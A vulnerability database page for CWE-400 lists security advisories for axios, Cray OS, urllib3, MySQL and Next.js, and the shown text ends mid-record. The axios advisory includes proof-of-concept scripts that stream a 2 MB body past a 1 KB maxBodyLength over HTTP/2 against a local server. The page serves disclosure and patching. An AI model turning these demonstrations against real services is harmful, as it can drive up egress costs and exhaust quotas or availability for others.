Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5539 vulnerabilities reference this CWE, most recent first.

GHSA-MWF2-3PR3-8698

Vulnerability from github – Published: 2026-07-20 22:37 – Updated: 2026-07-20 22:37
VLAI
Summary
Axios: HTTP/2 streamed uploads bypass `maxBodyLength`
Details

Summary

Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2.

This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.

Impact

An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit.

Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.

Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary.

Affected Functionality

Affected calls require all of the following:

  • Node.js HTTP adapter.
  • httpVersion: 2.
  • Request data supplied as a stream.
  • A finite maxBodyLength.
  • Attacker-controlled or attacker-influenced stream contents.

Unaffected or differently affected paths:

  • String, Buffer, and ArrayBuffer request bodies are checked before transport selection.
  • Browser XHR/fetch adapters are not affected.
  • HTTP/1.1 requests using follow-redirects enforce options.maxBodyLength.
  • In axios >=1.15.1, setting maxRedirects: 0 on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.

Technical Details

In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option.

The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream.

Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2.

No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path.

Proof of Concept of Attack

import http2 from 'node:http2';
import {Readable} from 'node:stream';
import axios from './index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http2.createServer();

server.on('stream', (stream) => {
  let received = 0;

  stream.on('data', (chunk) => {
    received += chunk.length;
  });

  stream.on('end', () => {
    stream.respond({':status': 200, 'content-type': 'application/json'});
    stream.end(JSON.stringify({received, limit: LIMIT}));
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

function makeBody(total) {
  const chunk = Buffer.alloc(64 * 1024, 0x41);
  let remaining = total;

  return new Readable({
    read() {
      if (remaining <= 0) {
        this.push(null);
        return;
      }

      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
      remaining -= next.length;
      this.push(next);
    }
  });
}

try {
  const response = await axios.post(
    `http://127.0.0.1:${server.address().port}/upload`,
    makeBody(PAYLOAD_BYTES),
    {
      httpVersion: 2,
      maxBodyLength: LIMIT,
      headers: {'content-type': 'application/octet-stream'}
    }
  );

  console.log(response.data);
  // Vulnerable result: { received: 2097152, limit: 1024 }
} finally {
  server.close();
}

Workarounds

For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.

For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.

Original Report ### Details In lib/adapters/http.js, transport selection is unconditional for HTTP/2: http.js Lines 937-956 
      if (isHttp2) {
        transport = http2Transport;
      } else {
        const configTransport = own('transport');
        if (configTransport) {
          transport = configTransport;
        } else if (config.maxRedirects === 0) {
          transport = isHttpsRequest ? https : http;
          isNativeTransport = true;
        } else {
          if (config.maxRedirects) {
            options.maxRedirects = config.maxRedirects;
          }
          const configBeforeRedirect = own('beforeRedirect');
          if (configBeforeRedirect) {
            options.beforeRedirects.config = configBeforeRedirect;
          }
          transport = isHttpsRequest ? httpsFollow : httpFollow;
        }
      }
maxBodyLength is then stored on the request options: http.js Lines 958-963 
      if (config.maxBodyLength > -1) {
        options.maxBodyLength = config.maxBodyLength;
      } else {
        // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited
        options.maxBodyLength = Infinity;
      }
…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0: http.js Lines 1270-1304 
        // Enforce maxBodyLength for streamed uploads on the native http/https
        // transport (maxRedirects === 0); follow-redirects enforces it on the
        // other path.
        let uploadStream = data;
        if (config.maxBodyLength > -1 && config.maxRedirects === 0) {
          const limit = config.maxBodyLength;
          let bytesSent = 0;
          uploadStream = stream.pipeline(
            [
              data,
              new stream.Transform({
                transform(chunk, _enc, cb) {
                  bytesSent += chunk.length;
                  if (bytesSent > limit) {
                    return cb(
                      new AxiosError(
                        'Request body larger than maxBodyLength limit',
                        AxiosError.ERR_BAD_REQUEST,
                        config,
                        req
                      )
                    );
                  }
                  cb(null, chunk);
                },
              }),
            ],
            utils.noop
          );
          uploadStream.on('error', (err) => {
            if (!req.destroyed) req.destroy(err);
          });
        }
        uploadStream.pipe(req);
For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded. ### PoC 
import http2 from 'node:http2';
import { Readable } from 'node:stream';
import axios from '../../index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an
// `http://...` authority, which mirrors what axios does when the request URL
// uses `http://` and `httpVersion: 2`.
const server = http2.createServer();

server.on('stream', (stream, _headers) => {
  let received = 0;
  stream.on('data', (chunk) => {
    received += chunk.length;
  });
  stream.on('end', () => {
    stream.respond({
      ':status': 200,
      'content-type': 'application/json',
    });
    stream.end(JSON.stringify({ received, limit: LIMIT }));
  });
  stream.on('error', () => {
    /* swallow client-side aborts */
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

function makeBodyStream(totalBytes) {
  const CHUNK = Buffer.alloc(64 * 1024, 0x41);
  let remaining = totalBytes;
  return new Readable({
    read() {
      if (remaining <= 0) {
        this.push(null);
        return;
      }
      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
      remaining -= next.length;
      this.push(next);
    },
  });
}

try {
  let result;
  try {
    const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {
      httpVersion: 2,
      maxBodyLength: LIMIT,
      // We intentionally do NOT set maxRedirects: 0 — that flag activates the
      // existing HTTP/1 byte-counting wrapper. The bug under test is that the
      // HTTP/2 transport path skips that wrapper entirely.
      headers: { 'content-type': 'application/octet-stream' },
      // Omit content-length so the body is streamed without a known length.
    });
    result = { status: response.status, data: response.data };
  } catch (err) {
    result = { error: err && (err.code || err.message) };
  }

  console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');
  console.log('axios result:', JSON.stringify(result));

  const ok =
    result &&
    result.status === 200 &&
    result.data &&
    typeof result.data === 'object' &&
    result.data.received === PAYLOAD_BYTES &&
    result.data.limit === LIMIT;

  if (ok) {
    console.log(
      `VULNERABLE: server received ${result.data.received} bytes despite ` +
        `maxBodyLength=${LIMIT}.`
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');
    process.exitCode = 1;
  }
} finally {
  server.close();
  // http2 sessions cached by axios may keep the event loop alive; force exit
  // after the assertion so the script returns instead of idling on TCP keep-alive.
  setImmediate(() => process.exit(process.exitCode || 0));
}
### Impact - Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads. - Bypass of cost/quota guards configured via maxBodyLength against billed upstream services. - Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:37:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios \u003e=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios\u2019 existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node\u2019s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from \u0027node:http2\u0027;\nimport {Readable} from \u0027node:stream\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on(\u0027stream\u0027, (stream) =\u003e {\n  let received = 0;\n\n  stream.on(\u0027data\u0027, (chunk) =\u003e {\n    received += chunk.length;\n  });\n\n  stream.on(\u0027end\u0027, () =\u003e {\n    stream.respond({\u0027:status\u0027: 200, \u0027content-type\u0027: \u0027application/json\u0027});\n    stream.end(JSON.stringify({received, limit: LIMIT}));\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nfunction makeBody(total) {\n  const chunk = Buffer.alloc(64 * 1024, 0x41);\n  let remaining = total;\n\n  return new Readable({\n    read() {\n      if (remaining \u003c= 0) {\n        this.push(null);\n        return;\n      }\n\n      const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n      remaining -= next.length;\n      this.push(next);\n    }\n  });\n}\n\ntry {\n  const response = await axios.post(\n    `http://127.0.0.1:${server.address().port}/upload`,\n    makeBody(PAYLOAD_BYTES),\n    {\n      httpVersion: 2,\n      maxBodyLength: LIMIT,\n      headers: {\u0027content-type\u0027: \u0027application/octet-stream\u0027}\n    }\n  );\n\n  console.log(response.data);\n  // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n  server.close();\n}\n```\n\n## Workarounds\n\nFor `axios \u003e=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios\u0027s maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n      if (isHttp2) {\n        transport = http2Transport;\n      } else {\n        const configTransport = own(\u0027transport\u0027);\n        if (configTransport) {\n          transport = configTransport;\n        } else if (config.maxRedirects === 0) {\n          transport = isHttpsRequest ? https : http;\n          isNativeTransport = true;\n        } else {\n          if (config.maxRedirects) {\n            options.maxRedirects = config.maxRedirects;\n          }\n          const configBeforeRedirect = own(\u0027beforeRedirect\u0027);\n          if (configBeforeRedirect) {\n            options.beforeRedirects.config = configBeforeRedirect;\n          }\n          transport = isHttpsRequest ? httpsFollow : httpFollow;\n        }\n      }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n      if (config.maxBodyLength \u003e -1) {\n        options.maxBodyLength = config.maxBodyLength;\n      } else {\n        // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n        options.maxBodyLength = Infinity;\n      }\n```\n\u2026but options.maxBodyLength is only honored by the follow-redirects transport. Node\u0027s native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n        // Enforce maxBodyLength for streamed uploads on the native http/https\n        // transport (maxRedirects === 0); follow-redirects enforces it on the\n        // other path.\n        let uploadStream = data;\n        if (config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0) {\n          const limit = config.maxBodyLength;\n          let bytesSent = 0;\n          uploadStream = stream.pipeline(\n            [\n              data,\n              new stream.Transform({\n                transform(chunk, _enc, cb) {\n                  bytesSent += chunk.length;\n                  if (bytesSent \u003e limit) {\n                    return cb(\n                      new AxiosError(\n                        \u0027Request body larger than maxBodyLength limit\u0027,\n                        AxiosError.ERR_BAD_REQUEST,\n                        config,\n                        req\n                      )\n                    );\n                  }\n                  cb(null, chunk);\n                },\n              }),\n            ],\n            utils.noop\n          );\n          uploadStream.on(\u0027error\u0027, (err) =\u003e {\n            if (!req.destroyed) req.destroy(err);\n          });\n        }\n        uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn\u0027t fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from \u0027node:http2\u0027;\nimport { Readable } from \u0027node:stream\u0027;\nimport axios from \u0027../../index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on(\u0027stream\u0027, (stream, _headers) =\u003e {\n  let received = 0;\n  stream.on(\u0027data\u0027, (chunk) =\u003e {\n    received += chunk.length;\n  });\n  stream.on(\u0027end\u0027, () =\u003e {\n    stream.respond({\n      \u0027:status\u0027: 200,\n      \u0027content-type\u0027: \u0027application/json\u0027,\n    });\n    stream.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n  stream.on(\u0027error\u0027, () =\u003e {\n    /* swallow client-side aborts */\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n  const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n  let remaining = totalBytes;\n  return new Readable({\n    read() {\n      if (remaining \u003c= 0) {\n        this.push(null);\n        return;\n      }\n      const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n      remaining -= next.length;\n      this.push(next);\n    },\n  });\n}\n\ntry {\n  let result;\n  try {\n    const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n      httpVersion: 2,\n      maxBodyLength: LIMIT,\n      // We intentionally do NOT set maxRedirects: 0 \u2014 that flag activates the\n      // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n      // HTTP/2 transport path skips that wrapper entirely.\n      headers: { \u0027content-type\u0027: \u0027application/octet-stream\u0027 },\n      // Omit content-length so the body is streamed without a known length.\n    });\n    result = { status: response.status, data: response.data };\n  } catch (err) {\n    result = { error: err \u0026\u0026 (err.code || err.message) };\n  }\n\n  console.log(\u0027--- PoC: HTTP/2 maxBodyLength bypass ---\u0027);\n  console.log(\u0027axios result:\u0027, JSON.stringify(result));\n\n  const ok =\n    result \u0026\u0026\n    result.status === 200 \u0026\u0026\n    result.data \u0026\u0026\n    typeof result.data === \u0027object\u0027 \u0026\u0026\n    result.data.received === PAYLOAD_BYTES \u0026\u0026\n    result.data.limit === LIMIT;\n\n  if (ok) {\n    console.log(\n      `VULNERABLE: server received ${result.data.received} bytes despite ` +\n        `maxBodyLength=${LIMIT}.`\n    );\n    process.exitCode = 0;\n  } else {\n    console.log(\u0027NOT VULNERABLE: axios refused or truncated the oversized stream.\u0027);\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n  // http2 sessions cached by axios may keep the event loop alive; force exit\n  // after the assertion so the script returns instead of idling on TCP keep-alive.\n  setImmediate(() =\u003e process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application\u0027s own connection / memory budget.\n\u003c/details\u003e",
  "id": "GHSA-mwf2-3pr3-8698",
  "modified": "2026-07-20T22:37:03Z",
  "published": "2026-07-20T22:37:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`"
}

GHSA-MWGR-P983-V4M9

Vulnerability from github – Published: 2025-04-23 00:30 – Updated: 2025-04-23 15:30
VLAI
Details

A vulnerability in the kernel of the Cray Operating System (COS) could allow an attacker to perform a local Denial of Service (DoS) attack.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-27087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-22T22:15:17Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the kernel of the Cray Operating System (COS) could allow an attacker to perform a local Denial of Service (DoS) attack.",
  "id": "GHSA-mwgr-p983-v4m9",
  "modified": "2025-04-23T15:30:56Z",
  "published": "2025-04-23T00:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27087"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbcr04838en_us\u0026docLocale=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWQ6-FG78-P6CQ

Vulnerability from github – Published: 2026-06-19 21:32 – Updated: 2026-06-19 21:32
VLAI
Details

urllib3 version 2.6.3 is vulnerable to a decompression bomb bypass in its streaming API (preload_content=False) when using Brotli support. The issue arises due to three independent code paths in response.py that bypass the max_length protection introduced in version 2.6.0 to mitigate CVE-2025-66471. Specifically, negative max_length values can be produced due to buffer arithmetic in read(), flush_decoder unconditionally overrides max_length to -1, and _flush_decoder() passes no limit at all, defaulting to unlimited decompression. This allows a malicious HTTP server to trigger an out-of-memory (OOM) condition by decompressing large payloads into memory, leading to a denial of service (DoS). The vulnerability affects urllib3 2.6.3 and Brotli 1.2.0 and impacts applications and libraries using requests or urllib3 to stream content from untrusted sources.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-9375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-19T19:16:36Z",
    "severity": "HIGH"
  },
  "details": "urllib3 version 2.6.3 is vulnerable to a decompression bomb bypass in its streaming API (`preload_content=False`) when using Brotli support. The issue arises due to three independent code paths in `response.py` that bypass the `max_length` protection introduced in version 2.6.0 to mitigate CVE-2025-66471. Specifically, negative `max_length` values can be produced due to buffer arithmetic in `read()`, `flush_decoder` unconditionally overrides `max_length` to `-1`, and `_flush_decoder()` passes no limit at all, defaulting to unlimited decompression. This allows a malicious HTTP server to trigger an out-of-memory (OOM) condition by decompressing large payloads into memory, leading to a denial of service (DoS). The vulnerability affects urllib3 2.6.3 and Brotli 1.2.0 and impacts applications and libraries using `requests` or `urllib3` to stream content from untrusted sources.",
  "id": "GHSA-mwq6-fg78-p6cq",
  "modified": "2026-06-19T21:32:48Z",
  "published": "2026-06-19T21:32:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9375"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/commit/2bdcc44d1e163fb5cc48a8662425e35e15adfe6a"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ddd09eb9-b87d-4a43-84df-48837b1bbc23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWRP-HHPC-X64F

Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-34276"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T21:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin).  Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and  9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-mwrp-hhpc-x64f",
  "modified": "2026-04-21T21:31:25Z",
  "published": "2026-04-21T21:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34276"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWV6-3258-Q52C

Vulnerability from github – Published: 2025-12-11 22:49 – Updated: 2025-12-11 22:49
VLAI
Summary
Next Vulnerable to Denial of Service with Server Components
Details

A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55184.

A malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.3.0"
            },
            {
              "fixed": "14.2.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0-canary.0"
            },
            {
              "fixed": "15.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.1.1-canary.0"
            },
            {
              "fixed": "15.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.2.0-canary.0"
            },
            {
              "fixed": "15.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.3.0-canary.0"
            },
            {
              "fixed": "15.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.4.0-canary.0"
            },
            {
              "fixed": "15.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.5.1-canary.0"
            },
            {
              "fixed": "15.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.6.0-canary.0"
            },
            {
              "fixed": "15.6.0-canary.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.0.0-beta.0"
            },
            {
              "fixed": "16.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.1.0-canary.0"
            },
            {
              "fixed": "16.1.0-canary.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1395",
      "CWE-400",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-11T22:49:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
